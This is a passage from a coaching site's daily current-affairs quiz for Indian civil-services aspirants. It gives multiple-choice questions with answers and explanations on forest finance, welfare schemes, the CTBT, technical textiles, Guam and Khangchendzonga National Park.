{"id":2711,"date":"2025-11-10T09:51:19","date_gmt":"2025-11-10T09:51:19","guid":{"rendered":"https:\/\/iasquest.com\/?p=2711"},"modified":"2026-02-11T18:48:39","modified_gmt":"2026-02-11T18:48:39","slug":"daily-current-affairs-10-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-10-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 10.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The Tropical Forests Forever Facility (TFFF) is a global financing initiative led by Brazil to support the long-term conservation of tropical forests.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. India has joined the Tropical Forests Forever Facility (TFFF), but only as an observer.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> Ahead of COP 30, India to join new global tropical forest fund as observer<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Tropical Forests Forever Facility (TFFF):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>The Tropical Forests Forever Facility (TFFF) is a global financing initiative led by <strong>Brazil <\/strong>to support the long-term conservation of tropical forests. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It aims to provide sustainable, performance-based funding to countries that successfully preserve their forests and maintain low deforestation rates.<\/li>\n\n\n\n<li>The TFFF seeks to shift economic incentives, making it more financially rewarding for countries to protect forests than to exploit them.<\/li>\n\n\n\n<li>The Tropical Forests Forever Facility was formally launched in 2025, with endorsements from over 50 tropical forest countries and initial pledges exceeding 5.5 billion US dollars.<\/li>\n\n\n\n<li>At its formal launch, the TFFF secured endorsements from 53 countries, including 34 tropical\u2011forest countries covering over 90\u202f% of developing\u2011country tropical forests.<\/li>\n\n\n\n<li>India has joined the Tropical Forests Forever Facility (TFFF), but only as an observer. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Purpose: <\/strong>To create a large-scale investment fund that rewards forest-rich nations for keeping their tropical forests intact.<\/li>\n\n\n\n<li><strong>Financing Model: <\/strong>The facility uses a blended finance approach, combining public funds, philanthropic contributions, and private investments. The capital is invested, and the financial returns are used to make payments to countries that meet forest protection goals.<\/li>\n\n\n\n<li><strong>Scale and Target:<\/strong> The initiative seeks to mobilize around 125 billion US dollars, including about 25 billion from governments and philanthropies to attract roughly 100 billion from private investors.<\/li>\n\n\n\n<li><strong>Performance-Based Payments:<\/strong> Participating countries receive payments if they keep deforestation rates below a set threshold (for example, around 0.5% annually).<\/li>\n\n\n\n<li><strong>Inclusion of Indigenous Peoples and Local Communities:<\/strong> At least 20% of the benefits are directed to Indigenous peoples and local communities who play a vital role in forest conservation.<\/li>\n\n\n\n<li><strong>Monitoring and Accountability:<\/strong> Eligibility is based on transparent and verifiable forest monitoring systems to ensure that payments are linked to real conservation results.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. With reference to \u2018Forest Carbon Partnership Facility\u2019, which of the following statements is\/are correct?<\/strong> <br><br>1. It is a global partnership of governments, businesses, civil society and indigenous peoples. <br>2. It provides financial aid to universities, individual scientists and institutions involved in scientific forestry research to develop eco-friendly and climate adaptation technologies for sustainable forest management. <br>3.It assists the countries in their \u2018REDD+ (Reducing Emissions from Deforestation and Forest Degradation+)\u2019 efforts by providing them with financial and technical assistance. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-16 wp-block-paragraph\" style=\"color:#0037ff\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/india-joins-brazil-led-forest-fund-as-observer-calls-for-stronger-ambition-10-years-after-paris-pact\/article70255373.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/india-joins-brazil-led-forest-fund-as-observer-calls-for-stronger-ambition-10-years-after-paris-pact\/article70255373.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Consider the following schemes:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">1. Indira Gandhi National Old Age Pension Scheme (IGNOAPS)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">2. Indira Gandhi National Widow Pension Scheme (IGNWPS)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">3. Indira Gandhi National Disability Pension Scheme (IGNDPS)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">4. National Family Benefit Scheme (NFBS)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">5. Annapurna Scheme<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Which of the above are the components of the National Social Assistance Programme in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(b) 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(c) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, 4 and 5<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>In NEWS: <\/strong>National Social Assistance Programme &#8211; \u201cStrengthening India\u2019s Social Security Framework through Inclusive Assistance\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>National Social Assistance Programme (NSAP):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>It was launched on 15 August 1995.<\/li>\n\n\n\n<li>It is implemented by the Ministry of Rural Development<\/li>\n\n\n\n<li>It is a centrally Sponsored Scheme<\/li>\n\n\n\n<li>It covers Rural and urban BPL households<\/li>\n\n\n\n<li>It aims to provide a basic level of social security assistance to vulnerable groups &#8211; elderly, widows, persons with disabilities, and families facing the death of a breadwinner.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"674\" height=\"703\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-11.png\" alt=\"\" class=\"wp-image-2712\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-11.png 674w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-11-288x300.png 288w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Components of NSAP:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Scheme<\/strong><\/td><td><strong>Beneficiary Criteria<\/strong><\/td><td><strong>Central Assistance<\/strong><\/td><\/tr><tr><td><strong>Indira Gandhi National Old Age Pension Scheme (IGNOAPS)<\/strong><\/td><td>BPL persons aged \u226560 years<\/td><td>\u20b9200\/month (60\u201379 yrs); \u20b9500\/month (80+ yrs)<\/td><\/tr><tr><td><strong>Indira Gandhi National Widow Pension Scheme (IGNWPS)<\/strong><\/td><td>BPL widows aged 40\u201379 years<\/td><td>\u20b9300\/month (40\u201379 yrs); \u20b9500\/month (80+ yrs)<\/td><\/tr><tr><td><strong>Indira Gandhi National Disability Pension Scheme (IGNDPS)<\/strong><\/td><td>BPL persons aged 18\u201379 years with severe\/multiple disabilities<\/td><td>\u20b9300\/month; \u20b9500\/month (80+ yrs)<\/td><\/tr><tr><td><strong>National Family Benefit Scheme (NFBS)<\/strong><\/td><td>BPL families losing breadwinner aged 18\u201359 years<\/td><td>\u20b920,000 (one-time)<\/td><\/tr><tr><td><strong>Annapurna Scheme<\/strong><\/td><td>BPL senior citizens eligible but not receiving IGNOAPS<\/td><td>10 kg food grains\/month free<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Hence all are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><br><strong>Q. Which of the following grants\/grant direct credit assistance to rural households?<\/strong> <br><br>1. Regional Rural Banks <br>2. National Bank for Agriculture and Rural Development <br>3. Land Development Banks <br><br><strong>Select the correct answer using below.<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-35 wp-block-paragraph\" style=\"color:#0228ff\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2187327\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2187327<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>3. Which of the following statements about the Comprehensive Nuclear-Test-Ban Treaty (CTBT) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">1. The Comprehensive Nuclear-Test-Ban Treaty (CTBT) prohibits all nuclear explosions, whether for military or peaceful purposes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">2. India is a signatory of the treaty to support the goal of a nuclear test ban and continues to maintain a voluntary moratorium on testing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">3. The Comprehensive Nuclear-Test-Ban Treaty Organization (CTBTO) successfully made the Comprehensive Nuclear-Test-Ban Treaty (CTBT) come into force.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(c) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(d) 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>In NEWS: <\/strong>CTBTO: Global watchtower<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Comprehensive Nuclear-Test-Ban Treaty Organization (CTBTO)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>The <strong>CTBTO Preparatory Commission<\/strong> was established in 1997 to <strong>prepare for the treaty\u2019s entry into force<\/strong>.<\/li>\n\n\n\n<li>It is <strong>headquartered in Vienna, Austria<\/strong>.<\/li>\n\n\n\n<li>The CTBTO\u2019s main function is to <strong>build and operate the verification regime<\/strong>, including monitoring and inspection mechanisms.<\/li>\n\n\n\n<li>The CTBTO also maintains an <strong>International Data Centre (IDC)<\/strong> to collect, analyze, and share data from global monitoring stations.<\/li>\n\n\n\n<li>CTBTO monitoring data also helps in <strong>civil applications<\/strong>, including <strong>tsunami warnings<\/strong>, <strong>climate research<\/strong>, and <strong>nuclear accident tracking<\/strong>.<\/li>\n\n\n\n<li>The CTBTO works closely with the <strong>UN Security Council<\/strong> and other disarmament bodies to support global non-proliferation efforts.<\/li>\n\n\n\n<li><strong>India<\/strong>, though a <strong>non-signatory,<\/strong> supports the <strong>goal of a nuclear test ban<\/strong> and continues to maintain a <strong>voluntary moratorium on testing<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Comprehensive Nuclear-Test-Ban Treaty (CTBT):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li>The <strong>CTBT<\/strong> aims to <strong>ban all nuclear explosions<\/strong> \u2014 for both military and peaceful purposes \u2014 in all environments (underground, underwater, atmosphere, and outer space). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The Treaty was <strong>adopted by the UN General Assembly on 10 September 1996<\/strong> and <strong>opened for signature on 24 September 1996<\/strong>.<\/li>\n\n\n\n<li>The <strong>CTBT has not yet entered into force<\/strong>, as several key \u201cAnnex 2 States\u201d (including India, China, the U.S., Pakistan, North Korea, Israel, Iran, and Egypt) have not signed or ratified it. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Annex 2 States<\/strong> are those countries that had nuclear reactors or research facilities at the time the treaty was negotiated \u2014 all must ratify the treaty for it to take effect.<\/li>\n\n\n\n<li>The CTBT is designed to <strong>constrain the development and qualitative improvement of nuclear weapons<\/strong> and end the arms race.<\/li>\n\n\n\n<li>India has <strong>not signed the CTBT<\/strong>, citing its discriminatory nature and the linkage of treaty entry into force to specific countries\u2019 ratification.<\/li>\n\n\n\n<li>Despite not being in force, the CTBT has created a <strong>strong international norm against nuclear testing<\/strong>, and most countries have observed a <strong>de facto moratorium<\/strong> on nuclear explosions.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. What is\/are the consequence\/consequences of a country becoming the member of the \u2018Nuclear Suppliers Group\u2019?<\/strong> <br><br>1. It will have access to the latest and most efficient nuclear technologies. <br>2. It automatically becomes a member of \u201cThe Treaty on the Non-Proliferation of Nuclear Weapons (NPT)\u201d. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-52 wp-block-paragraph\" style=\"color:#0141ff\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/comprehensive-nuclear-test-ban-treaty-organisation\/article70251861.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/comprehensive-nuclear-test-ban-treaty-organisation\/article70251861.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>4. With reference to the National Technical Textiles Mission, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">1. The National Technical Textiles Mission aims to make India a global leader in manufacturing and innovation of technical textiles.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">2. The mission is implemented by the Ministry of Commerce and Industry.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>In NEWS:<\/strong> National Technical Textiles Mission supports the development of Indigenous Thermal Testing Instruments for Protective Textiles in association with NITRA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>About:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>National Technical Textiles Mission (NTTM):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>The <strong>National Technical Textiles Mission (NTTM)<\/strong> was <strong>launched in February 2020<\/strong>.<\/li>\n\n\n\n<li>It is implemented by the <strong>Ministry of Textiles, Government of India<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>The <strong>mission period<\/strong> is from <strong>2020\u201321 to 2025\u201326<\/strong>.<\/li>\n\n\n\n<li>The <strong>total outlay<\/strong> of the mission is <strong>\u20b91,480 crore<\/strong>.<\/li>\n\n\n\n<li>The mission aims to <strong>position India as a global leader<\/strong> in the field of <strong>technical textiles<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It seeks to <strong>increase domestic consumption<\/strong> and <strong>boost exports<\/strong> of technical textiles.<\/li>\n\n\n\n<li><strong>Technical textiles<\/strong> refer to <strong>textiles used for functional, industrial, and technical purposes<\/strong> rather than for aesthetics.<\/li>\n\n\n\n<li>Examples include <strong>geotextiles, meditech, agrotech, protech, buildtech, sportech<\/strong>, etc.<\/li>\n\n\n\n<li>The mission has <strong>four key components<\/strong> \u2014<ul><li>Research, Innovation &amp; Development<\/li><\/ul><ul><li>Promotion &amp; Market Development<\/li><\/ul><ul><li>Export Promotion<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Education, Training &amp; Skill Development<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>It promotes <strong>industry\u2013academia\u2013research collaboration<\/strong> in technical textiles.<\/li>\n\n\n\n<li>The mission supports <strong>startups and innovation<\/strong> in high-end and strategic textiles.<\/li>\n\n\n\n<li>It encourages <strong>mandatory use of technical textiles<\/strong> in areas like <strong>defence, highways, agriculture, and construction<\/strong>.<\/li>\n\n\n\n<li><strong>Centres of Excellence (CoEs)<\/strong> are being established for focused R&amp;D in this sector.<\/li>\n\n\n\n<li>The mission contributes to the <strong>Atmanirbhar Bharat<\/strong> and <strong>Make in India<\/strong> initiatives.<\/li>\n\n\n\n<li>It helps create <strong>employment, export potential, and technological advancement<\/strong> in the textile industry.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Atal Innovation Mission is set up under the<\/strong> <br><br>(a) Department of Science and Technology <br>(b) Ministry of Labour and Employment <br><strong>(c) NITI Aayog<\/strong> <br>(d) Ministry of Skill Development and Entrepreneurship<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-67 wp-block-paragraph\" style=\"color:#0130ff\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2187085\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2187085<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>5. Guam is an island territory of the United States located in the<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(a) West Pacific Ocean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(b) South Atlantic Ocean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(c) North Atlantic Ocean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(d) East Pacific Ocean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Answer: (a) West Pacific Ocean<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>In NEWS: <\/strong>Indian Naval Ship (INS) Sahyadri is at Guam in the Northern Pacific for participation in the multilateral Exercise Malabar-2025.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Exercise Malabar-2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>The Harbour Phase of Exercise Malabar-2025 will feature operational planning and discussions, alignment on communication protocols, familiarisation visits between participating nations, and sports fixtures.<\/li>\n\n\n\n<li>Following the harbour phase, all participating units will proceed for the Sea Phase, wherein ships and aircraft will take part in naval drills, focusing on joint fleet operations, anti-submarine warfare, gunnery serials and flying operations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>INS Sahyadri:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>The participation of INS Sahyadri in Exercise Malabar-2025 reaffirms India&#8217;s enduring partnership and its commitment to strengthening coordination, enhancing interoperability, and demonstrating a collective resolve to safeguard regional security.<\/li>\n\n\n\n<li>Indigenously designed and constructed, INS Sahyadri is a Guided Missile Stealth Frigate.<\/li>\n\n\n\n<li>The ship is a shining example of the \u2018Aatmanirbhar Bharat\u2019 vision and has participated in several bilateral and multilateral exercises, as well as operational deployments.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Guam:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>Guam is an island territory of the United States located in the western Pacific Ocean, about 2,500 km south of Japan and 6,000 km west of Hawaii. <strong>Hence option (a) is&nbsp; correct.<\/strong><\/li>\n\n\n\n<li>It is the largest and southernmost island in the Mariana Islands archipelago and plays a significant strategic, cultural, and economic role in the Pacific region.<\/li>\n\n\n\n<li>Guam is a U.S. territory, meaning it is under U.S. sovereignty but not a state.<\/li>\n\n\n\n<li>Residents are U.S. citizens, but cannot vote in presidential elections.<\/li>\n\n\n\n<li>Guam elects a non-voting delegate to the U.S. House of Representatives.<\/li>\n\n\n\n<li>It has its own local government with a governor and legislature.<\/li>\n\n\n\n<li>Guam is a volcanic island surrounded by coral reefs, with tropical forests and limestone plateaus.<\/li>\n\n\n\n<li>It has a tropical climate, with warm temperatures year-round and a rainy season from July to November.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. Turkey is located between<\/strong> <br><br>(a) Black Sea and Caspian Sea <br><strong>(b) Black Sea and Mediterranean Sea<\/strong> <br>(c) Gulf of Suez and Mediterranean Sea <br>(d) Gulf of Aqaba and Dead Sea<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-82 wp-block-paragraph\" style=\"color:#002fff\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2188052\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2188052<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>6. With reference to the Khangchendzonga National Park, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">1. It is India\u2019s only \u201cmixed\u201d UNESCO World Heritage Site.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">2. It is the only Indian natural World Heritage Site rated \u201cGood\u201d by the IUCN 2024 assessment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">3. It is home to both snow leopards and red pandas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">4. The park forms part of the Northern Himalayas biodiversity hotspot.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">(c) 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(d) 1, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>In NEWS: <\/strong>Khangchendzonga National Park Rated \u201cGood\u201d By IUCN, Only Indian Site With Positive Status<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Khangchendzonga National Park:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>Khangchendzonga National Park is located in the <strong>state of Sikkim<\/strong>, covering parts of North and West Sikkim districts.<\/li>\n\n\n\n<li>It was <strong>established in 1977<\/strong> and later declared a <strong>UNESCO World Heritage Site in 2016<\/strong>.<\/li>\n\n\n\n<li>It is India\u2019s <strong>first \u201cMixed\u201d World Heritage Site<\/strong>, recognised for both <strong>natural and cultural significance<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The park covers an area of about <strong>1,784 sq. km<\/strong>. The park 